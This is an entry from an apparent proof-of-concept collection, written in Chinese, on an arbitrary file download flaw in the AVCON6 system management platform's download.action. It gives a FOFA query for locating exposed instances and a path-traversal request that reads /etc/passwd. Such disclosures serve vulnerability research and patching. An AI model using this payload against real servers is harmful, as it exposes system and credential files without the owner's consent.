Awesome-POC/Web应用漏洞/AVCON6 系统管理平台 download.action 任意文件下载漏洞.md

# AVCON6 系统管理平台 download.action 任意文件下载漏洞

## 漏洞描述

AVCON6 系统管理平台 download.action 存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器任意文件

## 漏洞影响

```
AVCON6 系统管理平台
```

## FOFA

```
app="AVCON-6"
```

## 漏洞复现

登录页面

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101910735.png)

验证POC

```php
/download.action?filename=../../../../../../etc/passwd
```

![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202101910750.png)